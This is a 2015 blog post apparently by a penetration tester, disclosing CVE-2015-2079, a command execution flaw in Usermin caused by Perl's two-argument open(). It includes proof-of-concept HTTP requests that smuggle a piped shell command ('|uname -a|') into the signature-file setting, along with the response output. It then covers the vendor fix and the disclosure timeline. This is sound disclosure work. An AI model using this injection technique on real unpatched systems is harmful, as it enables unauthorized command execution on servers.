May 20, 2015

CVE-2015-2079: Arbitrary Command Execution in Usermin

This was originally posted on blogger here.

While performing a penetration test for a customer, I stumbled across a command execution vulnerability in Usermin that is pretty trivial to identify and to exploit. The interesting part is that this vulnerability survived for almost 13 years.


According to the Usermin Homepage:

Usermin is a web-based interface for webmail, password changing, mail filters, fetchmail and much more. It is designed for use by regular non-root users on a Unix system, and limits them to tasks that they would be able to perform if logged in via SSH or at the console.

Therefore, Usermin can be seen as a web alternative for interactive machine access as a specific system user. But often times in real environments, Usermin is used to limit the user’s rights to perform specific actions via the web, for example as a webmailer only. In this case, arbitrary command execution is definitely not a desired feature.

Nonetheless, enter CVE-2015-2079, which affects Usermin versions 0.980 (dating back to 2002-12-16) until 1.650 (latest unpatched version of 2015-02-16) by exploiting a specific behavior of Perl’s open() function.


An authenticated user of Usermin can specify the path to an arbitrary file on the server that should be attached to any new email as a signature via the Signature file configuration in the Other file option.

This is due to the function get_signature in usermin/mailbox/, which calls open() without any prior validation:

# get_signature()
# Returns the users signature, if any
sub get_signature
local $sf = &get_signature_file();
$sf || return undef;
local $sig;
open(SIG, $sf) || return undef;
while(<SIG>) {
        $sig .= $_;
return $sig;

# get_signature_file()
# Returns the full path to the file that should contain the user's signature,
# or undef if none is defined
sub get_signature_file
return undef if ($userconfig{'sig_file'} eq '*');
local $sf = $userconfig{'sig_file'};
$sf = "$remote_user_info[7]/$sf" if ($sf !~ /^\//);
return &group_subs($sf);

For what it’s worth, that alone poses a vulnerability. But according to an old bug report dating back to 2005, this is not a bug but a feature:

This is not really a bug, as normal Unix file permissions still apply, so really critical files like /etc/shadow cannot be used as a signature. Also, the feature for attaching server-side files could be used in the same way

Besides that, due to some specific behavior of the Perl function used to open the user specified file, it is possible to provide and execute shell commands.

Vulnerability Details

Perl’s open() function can not just open regular files. If it gets called with just two arguments (i. e., open FILEHANDLE,EXPR), the second argument allows to specify additional behavior via prefixes and suffixes.

For example, the open mode can be specified with the prefix < for reading, > for writing to, or >> for appending to the file. And with the prefix or suffix | it is possible to start interprocess communication:

Perl’s basic open() statement can also be used for unidirectional interprocess communication by either appending or prepending a pipe symbol to the second argument to open().

Since Usermin’s call to open() uses the two arguments form, we can provide a shell command enclosed in pipes as the Signature file to execute the provided command whenever the user composes a new email and output is shown within the message text window or when the user edits the signature.

Example request as proof-of-concept with a sig_file_free parameter of value |uname -a| which gets sent to /uconfig_save.cgi by a POST request to usermin like this:

POST /uconfig_save.cgi HTTP/1.1
Host: localhost:20000
Referer: https://localhost:20000/uconfig.cgi?module=mailbox&section=line1
Authorization: Basic dGVzdGVyOnRlc3R0ZXN0
Content-Length: 83


Now that the config file of the subsequent user is changed (see sig_file in ~/.usermin/mailbox/config), a GET request to /mailbox/reply_mail.cgi “includes” the evaluation of uname -a in the response in the textarea:

GET /mailbox/reply_mail.cgi?new=1&folder=0 HTTP/1.1
Host: localhost:20000
Referer: https://localhost:20000/mailbox/index.cgi?folder=0&start=
Authorization: Basic dGVzdGVyOnRlc3R0ZXN0
HTTP/1.0 200 Document follows
Date: Mon, 23 Feb 2015 22:51:57 GMT
Server: MiniServ/1.650
Connection: close
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: script-src 'self' 'unsafe-inline'; frame-src 'self'
Content-type: text/html; Charset=UTF-8

<!doctype html public "-//W3C//DTD HTML 3.2 Final//EN">
<td class='ui_form_value' colspan=2 ><textarea class='ui_textarea' name="body" id="body" rows='20' cols='80' style='width:100%'>
Linux xmg666-vm-kali 3.18.0-kali1-amd64 #1 SMP Debian 3.18.3-1~kali4 (2015-01-22) x86_64 GNU/Linux

Similarly, the code can be triggered via a GET request to /mailbox/edit_sig.cgi:

There is also a handy proof-of-concept metasploit module for linux for your convenience.

The Fix

The Usermin developers fixed this vulnerability in version 1.660. Although the Usermin changelog does not mention it, the diff between the Usermin versions 1.650 and 1.660 shows that they chose to use the Webmin’s custom open_readfile() function instead of Perl’s built-in open() function, which basically prepends the given file path with < to open the file in read mode.

However, reading arbitrary files on the server is still possible.


  • 2015-02-23: Identification of vulnerability
  • 2015-02-24: Details sent to Usermin developer
  • 2015-02-24: Acknowledge from Usermin developer, will be fixed in next version
  • 2015-02-25: Assignment of CVE-2015-2079 via
  • 2015-03-16: Request for status update from Usermin developer
  • 2015-03-16: Answer: fixed version “Probably a couple of weeks” away
  • 2015-05-08: Request for status update from Usermin developer
  • 2015-05-08: Answer: fixed version aimed for next week
  • 2015-05-13: Patched Usermin version 1.660 released (without mentioning the bug)
  • 2015-05-20: Full disclosure 7 days after patch release